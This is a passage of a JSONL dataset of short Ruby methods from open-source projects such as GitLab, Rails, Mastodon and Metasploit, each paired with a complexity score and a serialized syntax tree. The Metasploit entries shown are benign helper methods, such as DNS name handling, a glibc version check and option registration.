{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/job_artifacts/create_service.rb","start_line":196,"raw_source":"def parse_annotations_artifact(artifact)\n        Ci::ParseAnnotationsArtifactService.new(project, current_user).execute(artifact)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_annotations_artifact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ParseAnnotationsArtifactService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"artifact\"]}]}]}","id":"654fc548-c2ea-42c7-a293-91c652fa51ff"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports/provision_dialogs.rb","start_line":4,"raw_source":"def import(options = {})\n        return unless options[:source]\n\n        glob = File.file?(options[:source]) ? options[:source] : \"#{options[:source]}/*.yaml\"\n        Dir.glob(glob) do |filename|\n          $log.info(\"Importing Provision Dialog from: #{filename}\")\n\n          dialog = YAML.load_file(filename)\n\n          miq_dialog = MiqDialog.find_by(:name => dialog[:name], :dialog_type => dialog[:dialog_type])\n\n          miq_dialog.nil? ? MiqDialog.create(dialog) : miq_dialog.update(dialog)\n        end\n      end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"glob\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"str\",\"children\":[\"/*.yaml\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"glob\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Importing Provision Dialog from: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"miq_dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqDialog\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dialog_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dialog_type\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_dialog\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqDialog\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"dialog\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_dialog\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"dialog\"]}]}]}]}]}]}]}","id":"6bd18e95-56d0-450e-a5c2-c0e9d0551074"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/format_string_token.rb","start_line":146,"raw_source":"def check_sequence(detected_sequence, token_range)\n          if detected_sequence.style == style\n            correct_style_detected\n          elsif correctable_sequence?(detected_sequence.type)\n            style_detected(detected_sequence.style)\n            add_offense(token_range, message: message(detected_sequence.style)) do |corrector|\n              autocorrect_sequence(corrector, detected_sequence, token_range)\n            end\n          end\n        end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_sequence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detected_sequence\"]},{\"type\":\"arg\",\"children\":[\"token_range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_sequence\"]},\"style\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"style\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_style_detected\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correctable_sequence?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_sequence\"]},\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style_detected\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_sequence\"]},\"style\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"token_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detected_sequence\"]},\"style\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect_sequence\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"detected_sequence\"]},{\"type\":\"lvar\",\"children\":[\"token_range\"]}]}]}]},null]}]}]}","id":"19cb13d3-5c9e-4d90-9cdf-a31be3cb1c70"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/resolver.rb","start_line":410,"raw_source":"def preprocess_query_arguments(name, type, cls)\n      return [name, type, cls] if name.class == IPAddr\n\n      # If the name doesn't contain any dots then append the default domain.\n      if name !~ /\\./ and name !~ /:/ and @config[:defname]\n        name += \".\" + @config[:domain]\n      end\n      [name, type, cls]\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"preprocess_query_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"cls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"IPAddr\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"defname\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]}]}","id":"40561a1b-4288-455a-b749-aaaf97b234ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects/topics_finder.rb","start_line":15,"raw_source":"def execute\n      topics = Projects::Topic.for_organization(organization_id).order_by_non_private_projects_count\n      topics = by_without_projects(topics)\n      by_search(topics)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"Topic\"]},\"for_organization\",{\"type\":\"send\",\"children\":[null,\"organization_id\"]}]},\"order_by_non_private_projects_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[null,\"by_without_projects\",{\"type\":\"lvar\",\"children\":[\"topics\"]}]}]},{\"type\":\"send\",\"children\":[null,\"by_search\",{\"type\":\"lvar\",\"children\":[\"topics\"]}]}]}]}","id":"26fd10be-3be9-4176-afb2-d26dc8ddc8c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_import/import_issue_worker.rb","start_line":20,"raw_source":"def increment_object_counter?(object)\n        !object.pull_request?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_object_counter?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"pull_request?\"]},\"!\"]}]}","id":"bc82222c-5303-4471-ae77-fa798e027381"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":333,"raw_source":"def glibc_version\n          raise 'glibc is not installed' unless command_exists? 'ldd'\n          begin\n\n            cmd_exec('ldd --version').scan(/^ldd\\s+\\(.*\\)\\s+([\\d.]+)/).flatten.first\n          rescue StandardError\n            raise 'Could not determine glibc version'\n          end\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"glibc_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"ldd\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"glibc is not installed\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"ldd --version\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ldd\\\\s+\\\\(.*\\\\)\\\\s+([\\\\d.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not determine glibc version\"]}]}]},null]}]}]}]}","id":"1ae918e3-b1d4-424e-9faf-4f2f7860a3ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/pull_request.rb","start_line":43,"raw_source":"def merged?\n        state == 'merged'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merged?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"merged\"]}]}]}","id":"2b90ed54-2dfa-4e75-b040-bc67bb8188c1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/activitypub/followers_synchronizations_controller.rb","start_line":27,"raw_source":"def collection_presenter\n    ActivityPub::CollectionPresenter.new(\n      id: account_followers_synchronization_url(@account),\n      type: :ordered,\n      items: @items\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_presenter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"CollectionPresenter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"account_followers_synchronization_url\",{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ordered\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"ivar\",\"children\":[\"@items\"]}]}]}]}]}","id":"f053603b-7760-49e0-bddd-9c7a33ab9c0c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":245,"raw_source":"def validate_each(record, attribute, value)\n            unless validate_regexp(value)\n              record.errors.add(attribute, 'must be a regular expression with re2 syntax')\n            end\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_regexp\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"must be a regular expression with re2 syntax\"]}]}]}]}","id":"1b8c04cd-8ac7-438a-89d2-f13d77943247"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":772,"raw_source":"def test_filtered_parameters_reset_between_requests\n    get :no_op, params: { foo: \"bar\" }\n    assert_equal \"bar\", @request.filtered_parameters[:foo]\n\n    get :no_op, params: { foo: \"baz\" }\n    assert_equal \"baz\", @request.filtered_parameters[:foo]\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_filtered_parameters_reset_between_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"no_op\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"filtered_parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"no_op\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"baz\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"filtered_parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}]}","id":"bef0258e-6f0a-4e05-a673-2354d8191a9e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/windows/download_eval_vbs.rb","start_line":46,"raw_source":"def generate(_opts = {})\n    return super + command_string\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}]}","id":"9e16cf55-323c-48da-8c8b-4e98142704bb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/reports/conversation_creator.rb","start_line":9,"raw_source":"def initialize(account:, resources:)\n    @account = account\n    @contacts = resources[:contacts]\n    @inboxes = resources[:inboxes]\n    @teams = resources[:teams]\n    @labels = resources[:labels]\n    @agents = resources[:agents]\n    @priorities = [nil, 'urgent', 'high', 'medium', 'low']\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"account\"]},{\"type\":\"kwarg\",\"children\":[\"resources\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@contacts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contacts\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@inboxes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inboxes\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@teams\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"teams\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@labels\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"labels\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@agents\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"agents\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@priorities\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"urgent\"]},{\"type\":\"str\",\"children\":[\"high\"]},{\"type\":\"str\",\"children\":[\"medium\"]},{\"type\":\"str\",\"children\":[\"low\"]}]}]}]}]}","id":"3e1767a3-a65e-4ec5-b423-17e457f4ef61"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":169,"raw_source":"def reset_overridden_setting(setting_name)\n        setting_section = find(\"section.theme.settings .setting[data-setting=\\\"#{setting_name}\\\"]\")\n        setting_section.click_button(I18n.t(\"admin_js.admin.settings.reset\"))\n        setting_section.find(\".setting-controls .ok\").click\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_overridden_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting_section\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"section.theme.settings .setting[data-setting=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_section\"]},\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin_js.admin.settings.reset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_section\"]},\"find\",{\"type\":\"str\",\"children\":[\".setting-controls .ok\"]}]},\"click\"]}]}]}","id":"b46998ce-a6cd-4cf0-8c65-eef4f610565b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":269,"raw_source":"def following_total_items\n    collection_info('following').first\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"following_total_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_info\",{\"type\":\"str\",\"children\":[\"following\"]}]},\"first\"]}]}","id":"779aa748-6792-4ce3-8b05-1c5cb6231191"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/swiftlint.rb","start_line":50,"raw_source":"def self.optional_flags(params)\n        command = \"\"\n        command << \" --path #{params[:path].shellescape}\" if params[:path]\n        command << supported_option_switch(params, :strict, \"0.9.2\", true)\n        command << \" --config #{params[:config_file].shellescape}\" if params[:config_file]\n        command << \" --reporter #{params[:reporter]}\" if params[:reporter]\n        command << supported_option_switch(params, :quiet, \"0.9.0\", true)\n        command << supported_option_switch(params, :format, \"0.11.0\", true) if params[:mode] == :autocorrect\n        command << supported_no_cache_option(params) if params[:no_cache]\n        command << \" --compiler-log-path #{params[:compiler_log_path].shellescape}\" if params[:compiler_log_path]\n        return command\n      end","complexity_score":37.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"optional_flags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" --path \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"supported_option_switch\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"sym\",\"children\":[\"strict\"]},{\"type\":\"str\",\"children\":[\"0.9.2\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" --config \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config_file\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reporter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" --reporter \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reporter\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"supported_option_switch\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"str\",\"children\":[\"0.9.0\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"autocorrect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"supported_option_switch\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"0.11.0\"]},{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_cache\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"supported_no_cache_option\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compiler_log_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" --compiler-log-path \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compiler_log_path\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}","id":"d36593e3-647b-4aa1-be93-35eac2d85437"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/local/ansible.rb","start_line":5,"raw_source":"def initialize(info = {})\n      super\n\n      register_advanced_options([\n        Msf::OptString.new('ANSIBLE', [false, 'Ansible executable location', '']),\n        Msf::OptString.new('ANSIBLEPLAYBOOK', [false, 'Ansible-playbook executable location', '']),\n      ])\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ANSIBLE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Ansible executable 